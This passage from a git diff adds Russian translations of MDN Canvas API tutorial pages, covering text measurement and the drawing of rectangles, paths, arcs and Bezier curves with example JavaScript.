+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Измерение_ширины_текста">Измерение ширины текста</h2>
+
+<p>Для измерения ширины текста (без рисования его на canvas) можно воспользоваться следующим методом:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}</dt>
+ <dd>Возвращает объект {{domxref("TextMetrics")}}, содержащий ширину текста в пикселах, до отрисовки на canvas.</dd>
+</dl>
+
+<p>Пример ниже показывает, как можно измерить ширину текста.</p>
+
+<pre class="brush: js;highlight[3] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText("foo"); // TextMetrics object
+  text.width; // 16;
+}
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>В ранних версиях Gecko (движок рендеринга в Firefox, Firefox OS и других приложениях Mozilla) были реализованы <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Prefixed_APIs">методы API с префиксами</a> для рисования текста на canvas. На данный момент они устарели и уже, возможно, удалены, поэтому их правильная работа не гарантируется.</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html b/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html
new file mode 100644
index 0000000000..f6ca6c23ef
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/рисование_фигур/index.html
@@ -0,0 +1,582 @@
+---
+title: Рисование фигур с помощью canvas
+slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>Теперь, установив наше <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage">окружение canvas</a>, мы можем погрузиться в детали того, как рисовать в canvas. К концу этой статьи, Вы научитесь рисовать прямоугольники, треугольники, линии, дуги и кривые, при условии что Вы хорошо знакомы с основными геометрическими фигурами. Работа с путями весьма важна, когда рисуете объекты на canvas и мы увидим как это может быть сделано.</p>
+</div>
+
+<h2 id="Сетка">Сетка</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или <strong>координатной плоскости</strong>. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas <span class="short_text" id="result_box" lang="ru"><span class="hps">с сеткой</span><span>, накладываемой по умолчанию</span></span>. <span id="result_box" lang="ru"><span class="hps">Обычно 1 единица</span> <span class="hps">на сетке соответствует</span> <span class="hps">1 пикселю на</span></span> canvas. <span id="result_box" lang="ru"><span>Начало координат этой сетки</span> <span class="hps">расположено</span> <em><span class="hps">в верхнем левом</span> <span class="hps">углу</span></em> <span class="hps">в</span> <span class="atn hps">координате <code><em>(</em></code></span><span><code><em>0,0 )</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Все</span> <span class="hps">элементы размещены</span> <span class="hps">относительно</span> <span class="hps">этого</span> <span class="hps">начала</span><span>. </span><span class="hps">Так</span>им образом, <span class="hps">положение верхнего</span> <span class="hps">левого угла</span> <span class="hps">синего квадрата составляет</span> <code><em><span class="hps">х</span></em></code> <span class="hps">пикселей слева</span><span class="hps"> и</span> <code><em><span class="hps">у</span></em></code> <span class="hps">пикселей</span> <span class="hps">сверху,</span> <span class="hps">на</span> <span class="hps">координате <code><em>(х</em></code></span><span><code><em>, у)</em></code>.</span></span> <span id="result_box" lang="ru"><span class="hps">Позже в</span> <span class="hps">этом уроке мы</span> <span class="hps">увидим, как</span> <span class="hps">можно</span> <span class="hps">перевести</span> <span class="hps">начало координат</span> <span class="hps">в другое место</span><span>,</span> <span class="hps">вращать сетку</span> <span class="hps">и даже</span> <span class="hps">масштабировать ее</span><span>, но сейчас</span> <span class="hps">мы будем придерживаться</span> <span class="hps">настроек сетки по умолчанию.</span></span></p>
+
+<h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2>
+
+<p>В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.</p>
+
+<p>Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt>
+ <dd>Рисование заполненного прямоугольника.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt>
+ <dd>Рисование прямоугольного контура.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt>
+ <dd>Очистка  прямоугольной области, делая содержимое совершенно прозрачным.</dd>
+</dl>
+
+<p>Каждая из приведенных функций принимает несколько параметров: </p>
+
+<ul>
+ <li><em>x</em>, <font face="Consolas, Liberation Mono, Courier, monospace"><em>y</em></font> устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);</li>
+ <li><code><em>width</em></code>(ширина) и <code><em><em>height</em></em></code>(высота) определяют размеры прямоугольника.</li>
+</ul>
+
+<p>Ниже приведена функция draw(), использующая эти три функции.</p>
+
+<h3 id="Пример_создания_прямоугольных_фигур">Пример создания прямоугольных фигур</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}</pre>
+
+<p>Этот пример изображен ниже.</p>
+
+<p>{{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p>Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.</p>
+
+<p>На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.</p>
+
+<p>В отличие от функций создания контуров, которые будут рассмотрены в следующем разделе, все три функции создания прямоугольника сразу же отображаются на canvas.</p>
+
+<h2 id="Рисование_контуров_path">Рисование контуров (path)</h2>
+
+<p>Остальные примитивные фигуры создаются <em>контурами</em>. Контур - это набор точек, которые, соединяясь в отрезки линий, могут образовывать различные фигуры, изогнутые или нет, разной ширины и разного цвета. Контур (или субконтур) может быть закрытым.</p>
+
+<p>Создание фигур используя контуры происходит в несколько важных шагов:</p>
+
+<ol>
+ <li>Сначала вы создаете контур.</li>
+ <li>Затем, используя <a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">команды рисования</a>, рисуете контур.</li>
+ <li>Потом закрываете контур.</li>
+ <li>Созданный контур вы можете обвести или залить для его отображения.</li>
+</ol>
+
+<p>Здесь приведены функции, которые можно использовать в описанных шагах:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.</dd>
+ <dt><a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path методы</a></dt>
+ <dd>Методы для установки различных контуров объекта.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Закрывает контур</span><span>, так что</span> <span class="hps">будущие</span> <span class="hps">команды рисования</span> <span class="hps">вновь</span> <span class="hps">направлены</span> <span class="hps">контекст</span><span>.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>Рисует фигуру с внешней обводкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>Рисует фигуру с заливкой внутренней области.</dd>
+</dl>
+
+<p>Первый шаг создания контура заключается в вызове функции <strong><code>beginPath()</code></strong>. Внутри содержатся контуры в виде набора суб-контуров (линии, дуги и др.), которые вместе образуют форму фигуры. Каждый вызов этого метода очищает набор, и мы можем начинать рисовать новые фигуры.</p>
+
+<div class="note"><strong>Note:</strong>  если текущий контур пуст (например, как после вызова <code>beginPath() </code>или на вновь созданном canvas), первой командой построения контура всегда является функция  <strong><code>moveTo()</code></strong>. Поэтому мы всегда можем установить начальную позицию рисования контура после перезагрузки.</div>
+
+<p>Вторым шагом является вызов методов, определяемых видом контура, который нужно нарисовать. Их мы рассмотрим позднее.</p>
+
+<p>Третий и необязательный шаг - это вызов <strong><code>closePath()</code></strong>. Этот метод пытается закрыть фигуру, рисуя прямую линию из текущей точки в начальную. Если фигура была уже закрыта или является просто точкой, то функция ничего не делает.</p>
+
+<div class="note"><strong>Note:</strong> Когда вы вызываете <strong><code>fill()</code></strong>, то каждая открытая фигура закрывается автоматически, так что вы можете не использовать <code>closePath()</code>. Это обстоятельство не имеет место в случае вызова <code>stroke()</code>.</div>
+
+<h3 id="Рисование_треугольника">Рисование треугольника</h3>
+
+<p>Например, код для рисования треугольника будет выглядеть как-то так:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Рисование_треугольника", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="Передвижение_пера">Передвижение пера</h3>
+
+<p>Одна очень полезная функция, которая ничего не рисует, но связана по смыслу с вышеописанными функциями  - это <strong><code>moveTo()</code></strong>. Вы можете представить это как отрыв (подъем) пера от бумаги и его перемещение в другое место.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>Перемещает перо в точку с координатами x и y.</dd>
+</dl>
+
+<p>При инициализации canvas или при вызове <code>beginPath()</code>, вы захотите использовать функцию <code>moveTo()</code> для перемещения в точку начала рисования. Можно использовать <code>moveTo()</code> и для рисования несвязанного(незакрытого) контура. Посмотрите на смайлик ниже.</p>
+
+<p>Вы можете проверить это сами, используя участок кода ниже. Просто вставьте в функцию <code>draw()</code>, рассмотренную ранее.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight:[8,10,12] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+     var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Внешняя окружность
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);  // рот (по часовой стрелке)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Левый глаз
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Правый глаз
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>Результат этого ниже:</p>
+
+<p>{{EmbedLiveSample("Передвижение_пера", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p>Если вы захотите увидеть соединные линии, то можете удалить вызов <code>moveTo()</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Подробнее о функции <code>arc()</code>,посмотрите {{anch("Дуги")}} .</p>
+</div>
+
+<h3 id="Линии">Линии</h3>
+
+<p>Для рисования прямых линий используйте метод <code>lineTo()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>Рисует линию с текущей позиции до позиции, определенной <code>x и y</code>.</dd>
+</dl>
+
+<p><span id="result_box" lang="ru"><span class="hps">Этот метод принимает</span> <span class="hps">два аргумента</span> </span><code><em>x</em><span lang="ru"><span class="hps"> и </span></span><em>y</em></code><span lang="ru"><span>, которые являются</span> <span class="hps">координатами конечной</span> <span class="hps">точки линии</span><span>.</span></span> <span id="result_box" lang="ru"><span>Начальная точка зависит</span> <span class="hps">от</span> <span class="hps">ранее</span> <span class="hps">нарисованных путей, причём</span> <span class="hps">конечная точка</span> <span class="hps">предыдущего пути является</span> начальной <span class="hps">точкой следующего</span> <span class="hps">и т. д.</span> <span class="hps">Начальная точка также</span> <span class="hps">может быть изменена</span> <span class="hps">с помощью метода</span></span> <code>moveTo()</code>.</p>
+
+<p>Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,16,17] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p><span id="result_box" lang="ru"><span class="hps">Отрисовка начинается с вызова</span> </span><code>beginPath()</code><span lang="ru"><span>, чтобы начать</span> <span class="hps">рисовать путь новой фигуры</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Затем мы используем</span> <span class="hps">метод</span> </span><code>moveTo()</code><span lang="ru"><span>, чтобы переместить</span> <span class="hps">начальную точку</span> <span class="hps">в нужное положение</span><span>.</span> <span class="hps">Ниже</span> <span class="hps">рисуются две линии</span><span>, которые образуют две</span> <span class="hps">стороны треугольника</span><span>.</span></span></p>
+
+<p>{{EmbedLiveSample("Линии", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Вы заметите</span> <span class="hps">разницу между</span> <span class="hps">закрашенным</span> <span class="hps">и обведенным контуром</span> <span class="hps">треугольниками.</span> <span class="hps">Это, </span><span class="hps">как упоминалось выше</span><span>,</span> <span class="hps">из-за</span> того, что <span class="hps">фигуры</span> <span class="hps">автоматически закрываются</span><span>, когда</span> <span class="hps">путь</span> <span class="hps">заполнен (т. е. закрашен)</span><span>, но</span> <span class="hps">не тогда, когда</span> <span class="hps">он очерчен (т. е. обведен контуром)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если бы мы</span> <span class="hps">не учли</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> очерченного <span class="hps">треугольника</span><span>,</span> тогда <span class="hps">только две линии</span> <span class="hps">были бы</span> <span class="hps">нарисованы,</span> <span class="hps">а не</span> <span class="hps">весь треугольник</span><span>.</span></span></p>
+
+<h3 id="Дуги">Дуги</h3>
+
+<p>Для рисования дуг и окружностей, используем методы arc() и arcTo().</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd>Рисуем дугу с центром в точке <code><em>(x,y)</em></code> радиусом <code><em>radius</em></code>, начиная с угла <em><code>startAngle </code>и заканчивая в </em><em><code>endAngle </code>в направлении против часовой стрелки <code>anticlockwise</code></em><code> </code>(по умолчанию по ходу движения часовой стрелки).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt>
+ <dd>Рисуем дугу с заданными контрольными точками и радиусом, соединяя эти точки прямой линией.</dd>
+</dl>
+
+<p>Рассмотрим детальнее метод <em>arc()</em>, который имеет пять параметров: <em><code>x</code></em> и <em><code>y</code></em> — это координаты центра окружности, в которой должна быть нарисована дуга. <em><code>radius</code></em> — не требует пояснений. Углы <code>startAngle</code> и <code>endAngle</code> определяют начальную и конечную точки дуги в радианах вдоль кривой окружности. Отсчет происходит от оси x. Параметр <code>anticlockwise</code> — логическое значение, которое, если <code>true</code>, то рисование дуги совершается против хода часовой стрелки; иначе рисование происходит по ходу часовой стрелки.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Углы в функции arc() измеряют в радианах, не в градусах. Для перевода градусов в радианы вы можете использовать JavaScript-выражение: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>Следующий пример немного сложнее, чем мы рассматривали ранее. Здесь нарисованы 12 различных дуг с разными углами и заливками.</p>
+
+<p>Два <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> цикла</a> размещают дуги по столбцам и строкам. Для каждой дуги, мы начинаем новый контур, вызывая <em><code>beginPath()</code></em>. В этом коде каждый параметр дуги для большей ясности задан в виде переменной, но вам не обязательно делать так в реальных проектах.</p>
+
+<p>Координаты <code>x</code> и <code>y</code>  должны быть достаточно ясны. <code>radius</code> and <code>startAngle</code> — фиксированы. <code>endAngle</code> начинается со 180 градусов (полуокружность) в первой колонке и, увеличиваясь с шагом 90 градусов, достигает кульминации полноценной окружностью в последнем столбце.</p>
+
+<p>Установка параметра <code>clockwise</code> определяет результат; в первой и третьей строках рисование дуг происходит по часовой стрелке, а во второй и четвертой - против часовой стрелки. Благодаря if-условию верхняя половина дуг образуется с контуром, (обводкой), а нижняя половина дуг - с заливкой.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Этот пример требует немного большего холста (canvas), чем другие на этой странице: 150 x 200 pixels.</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[16] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i&lt;4;i++){
+      for(var j=0;j&lt;3;j++){
+        ctx.beginPath();
+        var x = 25+j*50; // x coordinate
+        var y = 25+i*50; // y coordinate
+        var radius = 20; // Arc radius
+        var startAngle = 0; // Starting point on circle
+        var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
+        var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i&gt;1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Дуги", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="Безье_и_квадратичные_кривые">Безье и квадратичные кривые</h3>
+
+<p>Следующим типом доступных контуров являются  <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">кривые Безье</a>, и к тому же доступны в кубическом и квадратичном вариантах. Обычно они используются при рисовании сложных составных фигур.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd>Рисуется квадратичная кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя контрольную точку с координатами <code>cp1x</code> и <code>cp1y</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>Рисуется кубическая кривая Безье с текущей позиции пера в конечную точку с координатами <code>x</code> и <code>y</code>, используя две контрольные точки с координатами (<code>cp1x</code>, <code>cp1y</code>) и (cp2x, cp2y).</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Различие между ними можно увидеть на рисунке, изображенном справа. Квадратичная кривая Безье имеет стартовую и конечную точки (синие точки) и всего одну контрольную точку (красная точка), в то время как кубическая кривая Безье использует две контрольные точки.</p>
+
+<p>Параметры <code>x</code> и <code>y</code> в этих двух методах являются координатами конечной точки. <code>cp1x</code> и <code>cp1y</code> — координаты первой контрольной точки, а <code>cp2x</code> и <code>cp2y</code> — координаты второй контрольной точки.</p>
+
+<p>Использование квадратичных или кубических кривых Безье может быть  спорным выходом, так как в отличие от приложений векторной графики типа Adobe Illustrator, мы не имеем полной видимой обратной связи с тем, что мы делаем. Этот факт делает довольно сложным процесс рисования сложных фигур. В следующем примере мы нарисуем совсем простую составную фигуру, но, если у вас есть время и ещё больше терпения, можно создать более сложные составные фигуры.</p>
+
+<p>В этом примере нет ничего слишком тяжелого. В обоих случаях мы видим последовательность кривых, рисуя которые, в результате получим составную фигуру.</p>
+
+<h4 id="Квадратичные_кривые_Безье">Квадратичные кривые Безье</h4>
+
+<p>В этом примере многократно используются квадратичные кривые Безье для рисования речевой выноски.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Квадратичные_кривые_Безье", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="Кубические_кривые_Безье">Кубические кривые Безье</h4>
+
+<p>В этом примере нарисовано сердце с использованием кубических кривых Безье.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Cubic curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="Прямоугольники">Прямоугольники</h3>
+
+<p>Все эти методы мы видели в  {{anch("Рисование прямоугольников")}}, которые рисуют прямоугольники сразу в canvas, так же есть метод <code>rect()</code>, который не отображает, а только добавляет контур рисования (path) заданного прямоугольника к последнему открытому контуру.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, width, height)")}}</dt>
+ <dd><br>
+ Добавляет в path прямоугольник, верхний левый угол которого указан с помощью (x, y) с вашими width и height</dd>
+ <dt></dt>
+</dl>
+
+<p>Когда этот метод вызван, автоматически вызывается метод moveTo() с параметрами (x, y). Другими словами, позиция курсора устанавливается в начало добавленного прямоугольника.</p>
+
+<h3 id="Создание_комбинаций">Создание комбинаций</h3>
+
+<p>До сих пор, в каждом примере использовался только один тип функции контуров для каждой фигуры.<br>
+ Однако, нет никаких ограничений на количество или типы контуров, которые вы можете использовать для создания фигур. Давайте в этом примере объединим все вышеперечисленные  функции контуров, чтобы создать набор очень известных игровых персонажей.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i&lt;6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i&lt;8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
+    ctx.bezierCurveTo(88,96,87,99,87,101);
+    ctx.bezierCurveTo(87,103,88,106,91,106);
+    ctx.bezierCurveTo(94,106,95,103,95,101);
+    ctx.bezierCurveTo(95,99,94,96,91,96);
+    ctx.moveTo(103,96);
+    ctx.bezierCurveTo(100,96,99,99,99,101);
+    ctx.bezierCurveTo(99,103,100,106,103,106);
+    ctx.bezierCurveTo(106,106,107,103,107,101);
+    ctx.bezierCurveTo(107,99,106,96,103,96);
+    ctx.fill();
+
+    ctx.fillStyle = "black";
+    ctx.beginPath();
+    ctx.arc(101,102,2,0,Math.PI*2,true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89,102,2,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx,x,y,width,height,radius){
+  ctx.beginPath();
+  ctx.moveTo(x,y+radius);
+  ctx.lineTo(x,y+height-radius);
+  ctx.quadraticCurveTo(x,y+height,x+radius,y+height);
+  ctx.lineTo(x+width-radius,y+height);
+  ctx.quadraticCurveTo(x+width,y+height,x+width,y+height-radius);
+  ctx.lineTo(x+width,y+radius);
+  ctx.quadraticCurveTo(x+width,y,x+width-radius,y);
+  ctx.lineTo(x+radius,y);
+  ctx.quadraticCurveTo(x,y,x,y+radius);
+  ctx.stroke();
+}
+</pre>
+
+<p>Конечное изображение выглядит так:</p>
+
+<p>{{EmbedLiveSample("Создание_комбинаций", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p>
+
+<p>Мы не будем подробно останавливаться на том, так как это на самом деле удивительно просто. Наиболее важные вещи, которые следует отметить, это использование свойства <code>fillStyle</code> в контексте рисования и использование функции утилиты (в данном случае <code>roundedRect()</code>). Использование функций утилиты для битов чертежа часто может быть очень полезным и сократить количество необходимого кода, а также его сложность.</p>
+
+<p>Позже, в этом уроке, мы еще раз рассмотрим <code>fillStyle</code>, но более подробно. Здесь же мы используем его для изменения цвета заливки путей вместо цвета по умолчанию от черного до белого, а затем обратно.</p>
+
+<h2 id="Path2D_объекты">Path2D объекты</h2>
+
